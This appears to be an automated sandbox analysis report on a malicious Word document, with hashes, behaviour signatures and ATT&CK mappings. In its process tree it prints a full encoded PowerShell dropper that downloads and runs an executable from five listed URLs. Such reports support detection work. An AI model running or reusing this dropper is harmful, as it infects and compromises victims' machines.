3a0f0986193d0dc5e03ca1229e2509287593c03247e32bb5424009bc35e80738

Resubmissions

08-10-2022 00:17

221008-alen5seafl 10

07-10-2022 06:08

221007-gv6mjsbhhn 10

Analysis

max time kernel
136s
max time network
140s
platform
windows10-2004_x64
resource
win10v2004-20220812-en
resource tags

arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
submitted
07-10-2022 06:08

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Report Analysis Logs

General

Target

PKSJ Malware/1/VirusShare_1ba8249d8503c0cf7bc125588c43bef9.doc
Size

182KB
MD5

1ba8249d8503c0cf7bc125588c43bef9
SHA1

eb473c845c7474010ff35a3e8a169a9b6b9e5ebe
SHA256

a44031feb2a71980a0980377c8f7b6f3b5b9dfa0f708556dd420be323c7e1a38
SHA512

b5421ca474e8ccd30683b90a83e98c6ba74c8418201aaa923ba6c7805ef724b37dfabb74cfedccbb69e3fcf923635f64faa406f280057404f78957df3d840c8c
SSDEEP

3072:9NO2y/GdywFyktGDWLS0HZWD5w8K7Nk9rD7IBU9asiv8Oc7V:9NO2k4PF7tGiL3HJk9rD7b9asiv8dZ

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://diwafashions.com/wp-admin/mqau6/

exe.dropper

http://designers.hotcom-web.com/ubkskw29clek/qnpm1p/

exe.dropper

http://dixartcontractors.com/cgi-bin/nnuv/

exe.dropper

http://diaspotv.info/wordpress/G/

exe.dropper

http://easyvisaoverseas.com/cgi-bin/v/

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

Powershell.exe

description	pid	pid_target	process	target process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4136	4360	Powershell.exe

Blocklisted process makes network request 23 IoCs

Processes:

Powershell.exe

flow	pid	process
22	4136	Powershell.exe
23	4136	Powershell.exe
28	4136	Powershell.exe
29	4136	Powershell.exe
35	4136	Powershell.exe
35	4136	Powershell.exe
49	4136	Powershell.exe
50	4136	Powershell.exe
51	4136	Powershell.exe
52	4136	Powershell.exe
52	4136	Powershell.exe
58	4136	Powershell.exe
59	4136	Powershell.exe
60	4136	Powershell.exe
61	4136	Powershell.exe
62	4136	Powershell.exe
64	4136	Powershell.exe
65	4136	Powershell.exe
67	4136	Powershell.exe
69	4136	Powershell.exe
71	4136	Powershell.exe
73	4136	Powershell.exe
75	4136	Powershell.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

Processes:

WINWORD.EXE

pid process

1712 WINWORD.EXE
1712 WINWORD.EXE
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

Powershell.exe

pid process

4136 Powershell.exe
4136 Powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

Powershell.exe

description pid process

Token: SeDebugPrivilege 4136 Powershell.exe
Suspicious use of FindShellTrayWindow 2 IoCs

Processes:

WINWORD.EXE

pid process

1712 WINWORD.EXE
1712 WINWORD.EXE

pid	process
4136	Powershell.exe
4136	Powershell.exe

description	pid	process
Token: SeDebugPrivilege	4136	Powershell.exe

Suspicious use of SetWindowsHookEx 12 IoCs

Processes:

WINWORD.EXE

pid	process
1712	WINWORD.EXE
1712	WINWORD.EXE
1712	WINWORD.EXE
1712	WINWORD.EXE
1712	WINWORD.EXE
1712	WINWORD.EXE
1712	WINWORD.EXE
1712	WINWORD.EXE
1712	WINWORD.EXE
1712	WINWORD.EXE
1712	WINWORD.EXE
1712	WINWORD.EXE

Suspicious use of WriteProcessMemory 2 IoCs

Processes:

WINWORD.EXE

description	pid	process	target process
PID 1712 wrote to memory of 3444	1712	WINWORD.EXE	splwow64.exe
PID 1712 wrote to memory of 3444	1712	WINWORD.EXE	splwow64.exe

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\PKSJ Malware\1\VirusShare_1ba8249d8503c0cf7bc125588c43bef9.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1712

C:\Windows\splwow64.exe
C:\Windows\splwow64.exe 12288
2⤵
PID:3444

C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe
Powershell -w hidden -en JABWAGgAZAByAGkAZwBwAHQAeQA9ACcARwByAG4AcgBsAHYAagBnAHEAdwBpAGUAbAAnADsAJABRAGgAeQBtAGQAZAB0AHAAdQAgAD0AIAAnADgAOAAyACcAOwAkAFEAeQBmAHIAZgBhAHgAcABzAHAAeQA9ACcAQgBuAGIAbwByAGEAZwB6AGwAcgAnADsAJABLAGEAdABxAGgAcwByAGcAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAFEAaAB5AG0AZABkAHQAcAB1ACsAJwAuAGUAeABlACcAOwAkAE8AYQBqAG4AZAByAHUAbAByAD0AJwBTAHoAdABnAHUAeAB6AHcAdwBrAHUAbwAnADsAJABGAHUAegBqAGQAcwBnAHYAZQA9ACYAKAAnAG4AJwArACcAZQB3ACcAKwAnAC0AbwBiACcAKwAnAGoAZQBjAHQAJwApACAAbgBFAFQALgBXAGUAYgBDAGwAaQBFAE4AVAA7ACQAVgB4AHkAegB5AHYAeQBzAGYAbQA9ACcAaAB0AHQAcAA6AC8ALwBkAGkAdwBhAGYAYQBzAGgAaQBvAG4AcwAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8AbQBxAGEAdQA2AC8AKgBoAHQAdABwADoALwAvAGQAZQBzAGkAZwBuAGUAcgBzAC4AaABvAHQAYwBvAG0ALQB3AGUAYgAuAGMAbwBtAC8AdQBiAGsAcwBrAHcAMgA5AGMAbABlAGsALwBxAG4AcABtADEAcAAvACoAaAB0AHQAcAA6AC8ALwBkAGkAeABhAHIAdABjAG8AbgB0AHIAYQBjAHQAbwByAHMALgBjAG8AbQAvAGMAZwBpAC0AYgBpAG4ALwBuAG4AdQB2AC8AKgBoAHQAdABwADoALwAvAGQAaQBhAHMAcABvAHQAdgAuAGkAbgBmAG8ALwB3AG8AcgBkAHAAcgBlAHMAcwAvAEcALwAqAGgAdAB0AHAAOgAvAC8AZQBhAHMAeQB2AGkAcwBhAG8AdgBlAHIAcwBlAGEAcwAuAGMAbwBtAC8AYwBnAGkALQBiAGkAbgAvAHYALwAnAC4AIgBzAFAAbABgAEkAVAAiACgAJwAqACcAKQA7ACQAUAB1AHcAcQBvAGYAZwBoAGwAPQAnAE4AYgBwAHgAZABuAHUAZAAnADsAZgBvAHIAZQBhAGMAaAAoACQASABkAGkAawBjAGUAdgBiAHUAYwB6AGgAYQAgAGkAbgAgACQAVgB4AHkAegB5AHYAeQBzAGYAbQApAHsAdAByAHkAewAkAEYAdQB6AGoAZABzAGcAdgBlAC4AIgBkAG8AdwBOAEwAbwBhAGQAYABGAGAASQBsAGUAIgAoACQASABkAGkAawBjAGUAdgBiAHUAYwB6AGgAYQAsACAAJABLAGEAdABxAGgAcwByAGcAKQA7ACQAUAB5AHUAbQBiAG0AdgBiAHYAdAA9ACcASABuAHgAeQB2AGMAcwBuACcAOwBJAGYAIAAoACgAJgAoACcARwAnACsAJwBlAHQALQBJAHQAZQAnACsAJwBtACcAKQAgACQASwBhAHQAcQBoAHMAcgBnACkALgAiAGwAZQBuAGAAZwBUAGgAIgAgAC0AZwBlACAAMgA4ADQAMQAxACkAIAB7AFsARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBdADoAOgAiAHMAVABhAGAAUgBUACIAKAAkAEsAYQB0AHEAaABzAHIAZwApADsAJABHAGcAdwBqAHkAcwB4AHoAPQAnAFgAYQB2AGMAZABtAHMAbABnAHAAeAAnADsAYgByAGUAYQBrADsAJABVAGIAYQBmAHIAcwBrAGYAeQBiAD0AJwBHAGYAYwB4AGkAeQB1AGEAbQBqAG4AJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAUgBwAGEAYwBlAHgAZQByAHUAYgBpAHgAbgA9ACcAQQBrAHoAeQB5AG8AeABoAHAAJwA=
1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4136

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

memory/1712-140-0x000001B3D8810000-0x000001B3D8814000-memory.dmp

Filesize
16KB

Download
memory/1712-136-0x00007FFCE8AF0000-0x00007FFCE8B00000-memory.dmp

Filesize
64KB

Download
memory/1712-132-0x00007FFCE8AF0000-0x00007FFCE8B00000-memory.dmp

Filesize
64KB

Download
memory/1712-135-0x00007FFCE8AF0000-0x00007FFCE8B00000-memory.dmp

Filesize
64KB

Download
memory/1712-148-0x00007FFCE8AF0000-0x00007FFCE8B00000-memory.dmp

Filesize
64KB

Download
memory/1712-137-0x00007FFCE6700000-0x00007FFCE6710000-memory.dmp

Filesize
64KB

Download
memory/1712-138-0x00007FFCE6700000-0x00007FFCE6710000-memory.dmp

Filesize
64KB

Download
memory/1712-147-0x00007FFCE8AF0000-0x00007FFCE8B00000-memory.dmp

Filesize
64KB

Download
memory/1712-134-0x00007FFCE8AF0000-0x00007FFCE8B00000-memory.dmp

Filesize
64KB

Download
memory/1712-133-0x00007FFCE8AF0000-0x00007FFCE8B00000-memory.dmp

Filesize
64KB

Download
memory/1712-146-0x00007FFCE8AF0000-0x00007FFCE8B00000-memory.dmp

Filesize
64KB

Download
memory/1712-145-0x00007FFCE8AF0000-0x00007FFCE8B00000-memory.dmp

Filesize
64KB

Download
memory/3444-139-0x0000000000000000-mapping.dmp

Download
memory/4136-143-0x00007FFCFCA50000-0x00007FFCFD511000-memory.dmp

Filesize
10.8MB

Download
memory/4136-142-0x00007FFCFCA50000-0x00007FFCFD511000-memory.dmp

Filesize
10.8MB

Download
memory/4136-141-0x0000021E43940000-0x0000021E43962000-memory.dmp

Filesize
136KB

Download
memory/4136-149-0x00007FFCFCA50000-0x00007FFCFD511000-memory.dmp

Filesize
10.8MB

Download